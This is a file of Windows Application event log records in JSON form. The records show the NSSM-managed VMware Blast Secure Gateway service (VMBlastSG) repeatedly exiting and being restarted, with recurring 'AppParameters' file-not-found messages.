{"@timestamp":1646804447543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165123}}
{"@timestamp":1646804447544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165124}}
{"@timestamp":1646804447544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165125}}
{"@timestamp":1646804447545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165126}}
{"@timestamp":1646804576047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165127}}
{"@timestamp":1646804576047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165128}}
{"@timestamp":1646804576048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162544","0"]}}},"module":"Application","provider":"nssm","sequence":165129}}
{"@timestamp":1646804576049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162544","162544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165130}}
{"@timestamp":1646804576071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165131}}
{"@timestamp":1646804576072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165132}}
{"@timestamp":1646804576073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165133}}
{"@timestamp":1646804576073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165134}}
{"@timestamp":1646804704559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165135}}
{"@timestamp":1646804704560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165136}}
{"@timestamp":1646804704561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161972","0"]}}},"module":"Application","provider":"nssm","sequence":165137}}
{"@timestamp":1646804704561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161972","161972","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165138}}
{"@timestamp":1646804704580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165139}}
{"@timestamp":1646804704581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165140}}
{"@timestamp":1646804704581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165141}}
{"@timestamp":1646804704582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165142}}
{"@timestamp":1646804752985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":165143}}
{"@timestamp":1646804833078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165144}}
{"@timestamp":1646804833079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165145}}
{"@timestamp":1646804833079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161216","0"]}}},"module":"Application","provider":"nssm","sequence":165146}}
{"@timestamp":1646804833080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161216","161216","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165147}}
{"@timestamp":1646804833095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165148}}
{"@timestamp":1646804833096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165149}}
{"@timestamp":1646804833097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165150}}
{"@timestamp":1646804833098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165151}}
{"@timestamp":1646804961683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165152}}
{"@timestamp":1646804961683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165153}}
{"@timestamp":1646804961684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157960","0"]}}},"module":"Application","provider":"nssm","sequence":165154}}
{"@timestamp":1646804961685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157960","157960","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165155}}
{"@timestamp":1646804961702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165156}}
{"@timestamp":1646804961703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165157}}
{"@timestamp":1646804961703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165158}}
{"@timestamp":1646804961704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165159}}
{"@timestamp":1646805090196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165160}}
{"@timestamp":1646805090198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165161}}
{"@timestamp":1646805090199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162256","0"]}}},"module":"Application","provider":"nssm","sequence":165162}}
{"@timestamp":1646805090200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162256","162256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165163}}
{"@timestamp":1646805090216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165164}}
{"@timestamp":1646805090216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165165}}
{"@timestamp":1646805090217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165166}}
{"@timestamp":1646805090218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165167}}
{"@timestamp":1646805218677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165168}}
{"@timestamp":1646805218678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165169}}
{"@timestamp":1646805218679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159764","0"]}}},"module":"Application","provider":"nssm","sequence":165170}}
{"@timestamp":1646805218679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159764","159764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165171}}
{"@timestamp":1646805218695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165172}}
{"@timestamp":1646805218696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165173}}
{"@timestamp":1646805218696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165174}}
{"@timestamp":1646805218697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165175}}
{"@timestamp":1646805347181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165176}}
{"@timestamp":1646805347182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165177}}
{"@timestamp":1646805347183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162412","0"]}}},"module":"Application","provider":"nssm","sequence":165178}}
{"@timestamp":1646805347184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162412","162412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165179}}
{"@timestamp":1646805347200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165180}}
{"@timestamp":1646805347201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165181}}
{"@timestamp":1646805347201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165182}}
{"@timestamp":1646805347202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165183}}
{"@timestamp":1646805475804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165184}}
{"@timestamp":1646805475804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165185}}
{"@timestamp":1646805475805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160580","0"]}}},"module":"Application","provider":"nssm","sequence":165186}}
{"@timestamp":1646805475806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160580","160580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165187}}
{"@timestamp":1646805475822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165188}}
{"@timestamp":1646805475822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165189}}
{"@timestamp":1646805475823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165190}}
{"@timestamp":1646805475823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165191}}
{"@timestamp":1646805604306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165192}}
{"@timestamp":1646805604307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165193}}
{"@timestamp":1646805604307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161796","0"]}}},"module":"Application","provider":"nssm","sequence":165194}}
{"@timestamp":1646805604308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161796","161796","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165195}}
{"@timestamp":1646805604326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165196}}
{"@timestamp":1646805604326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165197}}
{"@timestamp":1646805604327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165198}}
{"@timestamp":1646805604328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165199}}
{"@timestamp":1646805732830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165200}}
{"@timestamp":1646805732830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165201}}
{"@timestamp":1646805732831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161952","0"]}}},"module":"Application","provider":"nssm","sequence":165202}}
{"@timestamp":1646805732833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161952","161952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165203}}
{"@timestamp":1646805732854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165204}}
{"@timestamp":1646805732854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165205}}
{"@timestamp":1646805732855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165206}}
{"@timestamp":1646805732856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165207}}
{"@timestamp":1646805861337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165208}}
{"@timestamp":1646805861339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165209}}
{"@timestamp":1646805861340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162064","0"]}}},"module":"Application","provider":"nssm","sequence":165210}}
{"@timestamp":1646805861340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162064","162064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165211}}
{"@timestamp":1646805861357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165212}}
{"@timestamp":1646805861358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165213}}
{"@timestamp":1646805861358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165214}}
{"@timestamp":1646805861359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165215}}
{"@timestamp":1646805989904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165216}}
{"@timestamp":1646805989907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165217}}
{"@timestamp":1646805989908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161664","0"]}}},"module":"Application","provider":"nssm","sequence":165218}}
{"@timestamp":1646805989908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161664","161664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165219}}
{"@timestamp":1646805989927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165220}}
{"@timestamp":1646805989927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165221}}
{"@timestamp":1646805989928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165222}}
{"@timestamp":1646805989929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165223}}
{"@timestamp":1646806118456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165224}}
{"@timestamp":1646806118458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165225}}
{"@timestamp":1646806118459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161960","0"]}}},"module":"Application","provider":"nssm","sequence":165226}}
{"@timestamp":1646806118460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161960","161960","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165227}}
